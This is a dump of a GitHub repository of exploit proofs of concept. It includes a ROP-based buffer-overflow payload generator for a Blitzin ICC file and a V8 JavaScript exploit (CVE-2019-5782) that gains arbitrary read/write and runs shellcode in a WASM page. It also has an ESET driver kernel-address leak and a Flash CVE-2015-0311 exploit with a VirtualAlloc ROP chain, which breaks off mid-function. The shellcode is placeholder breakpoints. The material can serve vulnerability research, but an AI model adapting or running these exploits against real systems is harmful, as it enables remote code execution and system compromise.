├── Blitzin_ICC_Connection_File_BOF ├── Blitzin_ICC_Connection_File_Buffer_Overflow.py └── README.md ├── CVE_2019_5782 └── CVE_2019_5782.js ├── ESET_SmartSecurity_Kernel_Leak ├── LeakDriverKernelAddress.cpp └── README.md ├── Exploit_2015_0311 ├── Exploit_2015_0311.as3proj ├── bin │ ├── Exploit20150311.swf │ ├── expressInstall.swf │ ├── index.html │ ├── js │ │ ├── httpcookies.js │ │ └── swfobject.js │ └── poc_2015_0311.html ├── obj │ ├── Exploit_2015_0311Config.old │ ├── Exploit_2015_0311Config.xml │ └── Exploit_2015_0311Config.xml.old └── src │ └── Main.as ├── Intel_Hardware_Accelerated_Execution_Manager_OOB_ReadWrite ├── PoC.c └── README.md ├── LICENSE ├── README.md ├── TestingFltCommunicationPort └── TestFltCommunicationPort.c ├── TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability ├── DebugInformation.txt ├── README.md ├── bsod.PNG └── tmicro1.cpp ├── VMware_SVGA_Driver_Hang ├── README.md ├── controlled_ObReferenecObjectByHandle.png ├── event_references.png └── vm3dmp_escape_hang.cpp ├── WebGate_Control_Center_FileConverter_Heap_Overflow_RCE ├── README.md ├── WebGate_Control_Center_FileConverter_GetRecFileInfo_Stack_and_Heap_Overflow_Remote_Code_Execution_Exploit.html └── unescapeShellcodeEncoder.py └── simple_trace.py /Blitzin_ICC_Connection_File_BOF/Blitzin_ICC_Connection_File_Buffer_Overflow.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | def create_payload(shellcode): 4 | 5 | buff = "\x41\x41\x41\x41" 6 | buff += struct.pack(" MOV ESI, DWORD PTR SS:[EBP+C] # MOV DWORD PTR SS:[ESP],ESI # CALL DWORD PTR DS:[ESI+8] 12 | buff += struct.pack(" PUSH ESI # POP ESP # JMP libexpat.68F4422F # MOV EDX,EDI # ADD ESP,2C # MOV EAX,EDX # POP EBX # POP ESI # POP EDI # POP EBP # RETN 13 | 14 | buff += "\xff\xff\xff\xff" 15 | buff += "\xff\xff\xff\xff" 16 | buff += "\xff\xff\xff\xff" 17 | buff += "\xff\xff\xff\xff" 18 | buff += "\xff\xff\xff\xff" 19 | buff += "\xff\xff\xff\xff" 20 | buff += "\xff\xff\xff\xff" 21 | buff += "\xff\xff\xff\xff" 22 | 23 | buff += struct.pack(" RETN 26 | 27 | buff += "\xff\xff\xff\xff" 28 | 29 | buff += struct.pack("> 16) * 0x29] = 5.43230922487e-312; //0x00000100'00000000 48 | } 49 | 50 | 51 | let small = [1.1]; 52 | let large = [1.1,1.1]; 53 | large.length = 65536; 54 | large.fill(1.1); 55 | 56 | for (let j = 0; j< 100000; j++) { 57 | opt.apply(null, small); 58 | } 59 | 60 | opt.apply(null, large); 61 | 62 | var map_dbl = hax[0x10]; // map from a3 63 | var map_obj = hax[60]; // map from a4 64 | 65 | function addrof(obj) { 66 | a4[0] = obj; 67 | hax[60] = map_dbl; 68 | r = Int64.from_double(a4[0]); 69 | hax[60] = map_obj; 70 | return r; 71 | } 72 | 73 | function fakeobj(addr) { 74 | hax[60] = map_dbl; 75 | a4[0] = addr.to_double(); 76 | hax[60] = map_obj; 77 | return a4[0]; 78 | } 79 | 80 | target_array_buffer = new ArrayBuffer(0x200); 81 | 82 | /* 83 | ArrayBuffer MAP values: 84 | 0x2baa08984460: 0x00000bd8f2d02251 0x1900042313080808 85 | 0x2baa08984470: 0x00000000082003ff 0x0000187c8e0114f9 86 | 0x2baa08984480: 0x0000187c8e011359 0x0000000000000000 87 | 0x2baa08984490: 0x00000bd8f2d02321 0x0000000000000000 88 | 0x2baa089844a0: 0x00000bd8f2d02391 0x000027ba6a102201 89 | */ 90 | 91 | let fake_map = { 92 | a: 0x3132, // Map root 93 | b: new Int64('0x1900042313080808').to_double(), // flags 94 | c: new Int64('0x00000000082003ff').to_double(), // flags 2 95 | d: 0x4142, // prototype 96 | e: 0x5152, // constructor_or_backpointer 97 | f: 0x6162, // raw_transitions 98 | g: 0, // instance_descriptors 99 | h: 0x8182, // layout_descriptors 100 | i: 0x9192, // dependent_code 101 | }; 102 | 103 | let array_buffer_map = addrof(fake_map).add(0x18); 104 | 105 | let holder = { 106 | map: array_buffer_map.to_double(), 107 | properties: 0, 108 | elements: 0, // requires valid elements ptr 109 | bytes_length: (new Int64(0x100)).to_double(), 110 | backing_store: addrof(target_array_buffer).sub(1).to_double(), 111 | bitfield: (new Int64(2)).to_double(), 112 | embedder_field: (new Int64(0).to_double()) 113 | } 114 | 115 | let addr = addrof(holder).add(0x18); 116 | let fake_array_buffer = fakeobj(addr); 117 | // The buffer is accessed through a view! 118 | fake_view = new Float64Array(fake_array_buffer); 119 | 120 | function read64(addr) { 121 | dbl = addr.to_double(); 122 | fake_view[4] = dbl; 123 | accessor = new Float64Array(target_array_buffer); 124 | return Int64.from_double(accessor[0]); 125 | } 126 | 127 | function write64(addr, value) { 128 | dbl = addr.to_double(); 129 | fake_view[4] = dbl; 130 | accessor = new Float64Array(target_array_buffer); 131 | accessor[0] = value.to_double(); 132 | } 133 | 134 | function cleanup() { 135 | print("Cleanup") 136 | delete a3; 137 | delete a4; 138 | delete a1; 139 | delete hax; 140 | } 141 | 142 | function wasm_jit_method() { 143 | // Generate WASM JIT RWX Page 144 | var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 145 | var wasm_mod = new WebAssembly.Module(wasm_code); 146 | var wasm_instance = new WebAssembly.Instance(wasm_mod); 147 | var f = wasm_instance.exports.main; 148 | 149 | // GET FunctionAddress 150 | var rwx_page_addr = read64(addrof(wasm_instance).sub(1).add(0xf0)); 151 | console.log("WASM Page: " + rwx_page_addr); 152 | 153 | var shellcode=[0xCCCCCCCC,0x90909090]; 154 | 155 | // Copy Shellcode to address 156 | dbl = rwx_page_addr.to_double(); 157 | fake_view[4] = dbl; 158 | accessor = new Uint32Array(target_array_buffer); 159 | for (let i = 0; i < shellcode.length; i++) { 160 | accessor[i] = shellcode[i]; 161 | } 162 | 163 | cleanup(); 164 | 165 | f(); 166 | } 167 | 168 | 169 | wasm_jit_method(); 170 | 171 | /* 172 | LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 173 | ────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────── 174 | RAX 0x1cedc8740000 ◂— int3 // 0x90909090cccccccc 175 | RBX 0x1cedc8740000 ◂— int3 // 0x90909090cccccccc 176 | RCX 0x2f03b1b42620 ◂— push rbp 177 | RDX 0x17693b1025a1 ◂— 0x17693b1025 178 | RDI 0x2092ba72ade1 ◂— 0xf100002efdcda063 179 | RSI 0x2092ba72ac29 ◂— 0xf100002efdcda0b1 180 | R8 0x55555675a970 —▸ 0x2092ba71da51 ◂— 0x6100002efdcda0a0 181 | R9 0x13a 182 | R10 0x5555566e5199 ◂— 0x100000000 183 | R11 0x5c 184 | R12 0xffffffffffffffff 185 | R13 0x5555566e9728 —▸ 0x17693b1029c1 ◂— 0x17693b1022 186 | R14 0x2092ba72a689 ◂— 0x17693b1034 187 | R15 0x55555672b170 —▸ 0x5555564992e0 (Builtins_WideHandler) ◂— lea rbx, [rip - 7] 188 | RBP 0x7fffffffd968 —▸ 0x7fffffffda00 —▸ 0x7fffffffda90 —▸ 0x7fffffffdab8 —▸ 0x7fffffffdb20 ◂— ... 189 | RSP 0x7fffffffd950 —▸ 0x2f03b1b42654 ◂— mov rbx, qword ptr [rip - 0x27] 190 | RIP 0x1cedc8740001 ◂— int3 // 0x90909090cccccc 191 | */ -------------------------------------------------------------------------------- /ESET_SmartSecurity_Kernel_Leak/LeakDriverKernelAddress.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include 3 | 4 | 5 | 6 | void _exit(char *message, int status) 7 | { 8 | printf("+] %s\n", message); 9 | exit(status); 10 | } 11 | 12 | void LeakCallIoControlDispatchRoutineAddress(HANDLE hDevice) 13 | { 14 | /* This IOControl takes the address of a function that ends up calling 15 | the DispatchIOControl routine of the Epfw driver */ 16 | DWORD bytesReturned; 17 | PVOID outbuff = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4); 18 | DeviceIoControl(hDevice, 0x8897226B, NULL, 0, outbuff, 0x4, &bytesReturned, NULL); 19 | printf("OutputBuffer: %08x\n", *(PVOID *)outbuff); 20 | HeapFree(GetProcessHeap(), 0, outbuff); 21 | } 22 | 23 | #define EPWF "\\\\.\\Epfw\\" 24 | 25 | 26 | int main() 27 | { 28 | HANDLE hDevice; 29 | //__debugbreak(); 30 | hDevice = CreateFileA(EPWF, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); 31 | if ((int)hDevice == -1 || !hDevice) 32 | { 33 | _exit("Device could not be opened", -1); 34 | } 35 | 36 | printf("Hey we opened the device! :) --> %08x \n", hDevice); 37 | 38 | LeakCallIoControlDispatchRoutineAddress(hDevice); 39 | 40 | printf("Error: %08x\n ", GetLastError()); 41 | 42 | CloseHandle(hDevice); 43 | __asm 44 | { 45 | xor eax, eax; 46 | } 47 | } 48 | 49 | -------------------------------------------------------------------------------- /ESET_SmartSecurity_Kernel_Leak/README.md: -------------------------------------------------------------------------------- 1 | # ESET Smart Security Kernel Address Leak 2 | 3 | * Affected Driver: epfw.sys 9.0.212.0 (ESET Personal Firewall Driver) 4 | 5 | The issue exists on epwf.sys driver where you can basically interact whith the device created by this driver despite of the fact that the ACL restricts regular users from opening it. This happens because the call to IoCreateDevice doesn't set the FILE_DEVICE_SECURE_OPEN flag as part of the DeviceCharacteristics member. So a regular user can still open the device and bypass the ACL by calling CreateFile with the name of the device and any appended resource; ie. : CreateDeviceA("\\\\.\\epfw\\foo,...); 6 | 7 | The driver IOCL dispatch routine has a function triggered on IOCTL code 0x8897226B that writes an internal kernel address of the driver itself to the outputbuffer. This allows a regular user to instantly know the base kernel address of the loaded driver. -------------------------------------------------------------------------------- /Exploit_2015_0311/Exploit_2015_0311.as3proj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /Exploit_2015_0311/bin/Exploit20150311.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/Exploit_2015_0311/bin/Exploit20150311.swf -------------------------------------------------------------------------------- /Exploit_2015_0311/bin/expressInstall.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/Exploit_2015_0311/bin/expressInstall.swf -------------------------------------------------------------------------------- /Exploit_2015_0311/bin/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Exploit_2015_0311 6 | 7 | 8 | 9 | 29 | 33 | 34 | 35 |
36 |

Exploit_2015_0311

37 |

Get Adobe Flash player

38 |
39 | 40 | -------------------------------------------------------------------------------- /Exploit_2015_0311/bin/js/httpcookies.js: -------------------------------------------------------------------------------- 1 | function getCookie(key) 2 | { 3 | var cookieValue = null; 4 | 5 | if (key) 6 | { 7 | var cookieSearch = key + "="; 8 | 9 | if (document.cookie) 10 | { 11 | var cookieArray = document.cookie.split(";"); 12 | for (var i = 0; i < cookieArray.length; i++) 13 | { 14 | var cookieString = cookieArray[i]; 15 | 16 | // skip past leading spaces 17 | while (cookieString.charAt(0) == ' ') 18 | { 19 | cookieString = cookieString.substr(1); 20 | } 21 | 22 | // extract the actual value 23 | if (cookieString.indexOf(cookieSearch) == 0) 24 | { 25 | cookieValue = cookieString.substr(cookieSearch.length); 26 | } 27 | } 28 | } 29 | } 30 | 31 | return cookieValue; 32 | } 33 | 34 | function setCookie(key, val) 35 | { 36 | if (key) 37 | { 38 | var date = new Date(); 39 | 40 | if (val != null) 41 | { 42 | // expires in one year 43 | date.setTime(date.getTime() + (365*24*60*60*1000)); 44 | document.cookie = key + "=" + val + "; expires=" + date.toGMTString(); 45 | } 46 | else 47 | { 48 | // expires yesterday 49 | date.setTime(date.getTime() - (24*60*60*1000)); 50 | document.cookie = key + "=; expires=" + date.toGMTString(); 51 | } 52 | } 53 | } -------------------------------------------------------------------------------- /Exploit_2015_0311/bin/js/swfobject.js: -------------------------------------------------------------------------------- 1 | /* SWFObject v2.2 2 | is released under the MIT License 3 | */ 4 | var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab 2 | 3 | 4 | SWFObject dynamic embed - step 3 5 | 6 | 7 | 8 | 9 | 14 | 15 | 16 | 17 |
18 |

Alternative content

19 |
20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /Exploit_2015_0311/obj/Exploit_2015_0311Config.old: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 25.0 6 | 7 | 8 | CONFIG::debug 9 | true 10 | 11 | 12 | CONFIG::release 13 | false 14 | 15 | 16 | CONFIG::timeStamp 17 | '12/25/2019' 18 | 19 | 20 | CONFIG::air 21 | false 22 | 23 | 24 | CONFIG::mobile 25 | false 26 | 27 | 28 | CONFIG::desktop 29 | false 30 | 31 | true 32 | 33 | D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src 34 | C:\Program Files (x86)\FlashDevelop\Library\AS3\classes 35 | 36 | 37 | 38 | D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src\Main.as 39 | 40 | #FFFFFF 41 | 30 42 | 43 | 800 44 | 600 45 | 46 | -------------------------------------------------------------------------------- /Exploit_2015_0311/obj/Exploit_2015_0311Config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 25.0 6 | 7 | 8 | CONFIG::debug 9 | true 10 | 11 | 12 | CONFIG::release 13 | false 14 | 15 | 16 | CONFIG::timeStamp 17 | '12/25/2019' 18 | 19 | 20 | CONFIG::air 21 | false 22 | 23 | 24 | CONFIG::mobile 25 | false 26 | 27 | 28 | CONFIG::desktop 29 | false 30 | 31 | true 32 | 33 | D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src 34 | C:\Program Files (x86)\FlashDevelop\Library\AS3\classes 35 | 36 | 37 | 38 | D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src\Main.as 39 | 40 | #FFFFFF 41 | 30 42 | 43 | 800 44 | 600 45 | 46 | -------------------------------------------------------------------------------- /Exploit_2015_0311/obj/Exploit_2015_0311Config.xml.old: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 25.0 6 | 7 | 8 | CONFIG::debug 9 | true 10 | 11 | 12 | CONFIG::release 13 | false 14 | 15 | 16 | CONFIG::timeStamp 17 | '12/22/2019' 18 | 19 | 20 | CONFIG::air 21 | false 22 | 23 | 24 | CONFIG::mobile 25 | false 26 | 27 | 28 | CONFIG::desktop 29 | false 30 | 31 | true 32 | 33 | D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src 34 | C:\Program Files (x86)\FlashDevelop\Library\AS3\classes 35 | 36 | 37 | 38 | D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src\Main.as 39 | 40 | #FFFFFF 41 | 30 42 | 43 | 800 44 | 600 45 | 46 | -------------------------------------------------------------------------------- /Exploit_2015_0311/src/Main.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.display.Sprite; 4 | import flash.events.Event; 5 | import flash.sampler.NewObjectSample; 6 | import flash.utils.ByteArray; 7 | import flash.utils.Endian; 8 | import flash.system.ApplicationDomain; 9 | import avm2.intrinsics.memory.*; 10 | import flash.external.ExternalInterface; 11 | import flash.debugger.enterDebugger; 12 | 13 | /** 14 | * ... 15 | * @author n3k 16 | */ 17 | 18 | public class Main extends Sprite 19 | { 20 | const NumberTAG: Number = 7; 21 | 22 | public var ba:ByteArray; 23 | public var ev: Vector.; 24 | public var ev_address: uint; 25 | public var vec_array:Vector.; 26 | public var flash_module_base:uint; 27 | 28 | public static function getCookie(key:String):* 29 | { 30 | return ExternalInterface.call("getCookie", key); 31 | } 32 | 33 | public static function setCookie(key:String, val:*):void 34 | { 35 | ExternalInterface.call("setCookie", key, val); 36 | } 37 | 38 | public function Main() 39 | { 40 | if (stage) init(); 41 | else addEventListener(Event.ADDED_TO_STAGE, init); 42 | exploit(); 43 | } 44 | 45 | private function init(e:Event = null):void 46 | { 47 | removeEventListener(Event.ADDED_TO_STAGE, init); 48 | // entry point 49 | } 50 | 51 | private function read_primitive(addr: uint): uint { 52 | 53 | var fake_number_object:uint = addr | NumberTAG; 54 | si32(fake_number_object, 0x2C); // Store as IEEE 754 Double into Vec[1] 55 | 56 | var n: Number = new Number(this.ev[1]); 57 | 58 | var b:ByteArray = new ByteArray(); 59 | b.endian = Endian.LITTLE_ENDIAN; 60 | b.writeDouble(n); 61 | 62 | var res: uint = 0; 63 | if (addr & 4) { 64 | res = b[7] * 0x1000000 + b[6] * 0x10000 + b[5] * 0x100 + b[4]; 65 | } else { 66 | res = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0]; 67 | } 68 | 69 | return res; 70 | } 71 | 72 | private function prepare_shellcode(payload: ByteArray): void { 73 | payload.endian = Endian.LITTLE_ENDIAN; 74 | 75 | /* u Flash32_16_0_0_287+0x7d9f --> Stack Pivot to the Heap 76 | 63177d9f 52 push edx 77 | 63177da0 5c pop esp 78 | 63177da1 8b4608 mov eax,dword ptr [esi+8] 79 | 63177da4 5e pop esi 80 | 63177da5 c3 ret 81 | */ 82 | payload.writeUnsignedInt(flash_module_base + 0x7d9f); // # PUSH EDX # POP ESP # MOV EAX,DWORD PTR DS:[ESI+8] # POP ESI # RETN 83 | payload.writeUnsignedInt(flash_module_base + 0x2ad0f3); // POP EAX # RETN 84 | payload.writeUnsignedInt(flash_module_base + 0xb965a4); // # ptr to &VirtualAlloc() # IAT Flash OCX 85 | payload.writeUnsignedInt(flash_module_base + 0x32be0); 86 | 87 | /* 88 | * Flash32_16_0_0_287+0x32be0: 89 | 62542be0 8b10 mov edx,dword ptr [eax] 90 | 62542be2 8b4c2408 mov ecx,dword ptr [esp+8] 91 | 62542be6 3b11 cmp edx,dword ptr [ecx] 92 | 62542be8 7c02 jl Flash32_16_0_0_287+0x32bec (62542bec) 93 | 62542bea 8bc1 mov eax,ecx 94 | 62542bec c3 ret 95 | 96 | */ 97 | payload.writeUnsignedInt(flash_module_base + 0x2aa773); // PUSH EDX # ADD EAX,58046A00 # POP ESI # RETN 98 | payload.writeUnsignedInt(flash_module_base + 0x50c900); // POP EBP # RETN 99 | payload.writeUnsignedInt(flash_module_base + 0x1e100d); // & jmp esp 100 | payload.writeUnsignedInt(flash_module_base + 0x2a24da); // POP EBX # RETN 101 | payload.writeUnsignedInt(0x00000001); // 0x00000001-> ebx 102 | payload.writeUnsignedInt(flash_module_base + 0x8206fe); // POP EDX # RETN 103 | payload.writeUnsignedInt(0x00001000); 104 | payload.writeUnsignedInt(flash_module_base + 0x1175); // POP ECX # RETN 105 | payload.writeUnsignedInt(0x00000040); // 0x00000040-> ecx 106 | payload.writeUnsignedInt(flash_module_base + 0x77dc5a); // POP EDI # RETN 107 | payload.writeUnsignedInt(flash_module_base + 0xf0005); // RETN (ROP NOP) 108 | payload.writeUnsignedInt(flash_module_base + 0x2ad0f3); // POP EAX # RETN 109 | payload.writeUnsignedInt(0x90909090); // NOP 110 | payload.writeUnsignedInt(flash_module_base + 0xfd144); // PUSHAD # RETN 111 | payload.writeByte(0x90); 112 | payload.writeByte(0x90); 113 | payload.writeByte(0x90); 114 | payload.writeByte(0x90); 115 | payload.writeByte(0x90); 116 | payload.writeByte(0x90); 117 | payload.writeByte(0x90); 118 | payload.writeByte(0x90); 119 | payload.writeByte(0x90); 120 | payload.writeByte(0x90); 121 | payload.writeByte(0x90); 122 | payload.writeByte(0x90); 123 | payload.writeByte(0xCC); 124 | payload.writeByte(0xCC); 125 | payload.writeByte(0xCC); 126 | payload.writeByte(0xCC); 127 | } 128 | 129 | public function exploit(): void { 130 | 131 | for (var i:uint = 0; i < 10000; i++) new Vector.(0x3e0); 132 | 133 | this.ba = new ByteArray(); 134 | this.ba.endian = Endian.LITTLE_ENDIAN; 135 | this.ba.position = 0; 136 | 137 | /* Initialize the ByteArray with some data */ 138 | var count:uint = 0; 139 | while (count < 0x2000 / 4){ 140 | this.ba.writeUnsignedInt(0xfeedface + count); 141 | count++; 142 | } 143 | 144 | /* Compress it with zlib */ 145 | this.ba.compress(); 146 | 147 | /* Overwrite the compressed data with junk, starting at offset 0x200 */ 148 | this.ba.position = 0x200; 149 | var pos: uint = 0; 150 | // ExternalInterface.call("alert", this.byte_array.bytesAvailable); 151 | while (pos < this.ba.bytesAvailable){ 152 | this.ba.writeByte(pos); 153 | pos++; 154 | } 155 | 156 | /* Create a subscriber for that ByteArray */ 157 | // https://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/ApplicationDomain.html 158 | ApplicationDomain.currentDomain.domainMemory = this.ba; 159 | 160 | /* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory 161 | pointing to a buffer that is freed when the decompression fails. */ 162 | 163 | try{ 164 | this.ba.uncompress(); 165 | } catch(error:Error){ 166 | } 167 | 168 | // ba e 1 flashbase+0x68e8cd ".printf \"Addr: %08x \\n\", eax; g" 169 | 170 | this.ev = new Vector.(0x3e0); 171 | 172 | var vecsize:uint = li32(0x24); 173 | //ExternalInterface.call("alert",vecsize.toString(16)); 174 | if (vecsize == 0x3e0) { 175 | //si32(0xffffffff, 0x24) // corrupted 176 | //ExternalInterface.call("alert","vector size changed!"); 177 | } else { 178 | ExternalInterface.call("document.location.reload", true); 179 | return // something failed 180 | } 181 | 182 | this.ev_address = li32(0x14) - 0x18; // Data Starts at 0x28 183 | var vector_vtable:uint = li32(0x20); 184 | var flash_16_0_0_287_base_address: uint = vector_vtable - 0x00cf9418; 185 | this.flash_module_base = flash_16_0_0_287_base_address; 186 | 187 | ExternalInterface.call("alert", this.ev_address.toString(16)); 188 | 189 | var payload_ba: ByteArray = new ByteArray(); 190 | prepare_shellcode(payload_ba); 191 | this.ev[0] = payload_ba; 192 | 193 | var payload_ba_address:uint = li32(0x28) & 0xFFFFFFF8; // Read Vec[0] content and clear the tag 194 | //ExternalInterface.call("alert", payload_address.toString(16)); 195 | 196 | var arraybuff_address: uint = read_primitive(payload_ba_address + 0x44); // ArrayBuffer addr at +44h 197 | //ExternalInterface.call("alert", arraybuff_address.toString(16)); 198 | var buffer_address: uint = read_primitive(arraybuff_address + 0x08); // Buffer addr at +08h 199 | //ExternalInterface.call("alert", buffer_address.toString(16)); 200 | 201 | /* 202 | 0:005> dd 151cf000 // Corrupted Vector 203 | 151cf000 00010c00 00000fe0 13eff000 13dd7e18 204 | 151cf010 1512e000 151cf018 00000010 00000000 205 | 151cf020 656e9418 000003e0 1512f0a1 1512f0ff our elements start at 0x28 206 | 151cf030 1512f1c1 151a45d9 00000001 00000001 207 | 151cf040 00000001 00000001 00000001 00000001 208 | 151cf050 00000001 00000001 00000001 00000001 209 | 151cf060 00000001 00000001 00000001 00000001 210 | 151cf070 00000001 00000001 00000001 00000001 211 | * */ 212 | 213 | 214 | // Let's create a new byteArray and change its pointer to point back into the Vector 215 | // Then craft the needed metadata using si32 216 | var fba: ByteArray = new ByteArray(); 217 | fba.endian = Endian.LITTLE_ENDIAN; 218 | count = 0; 219 | while (count < 0x100) { 220 | 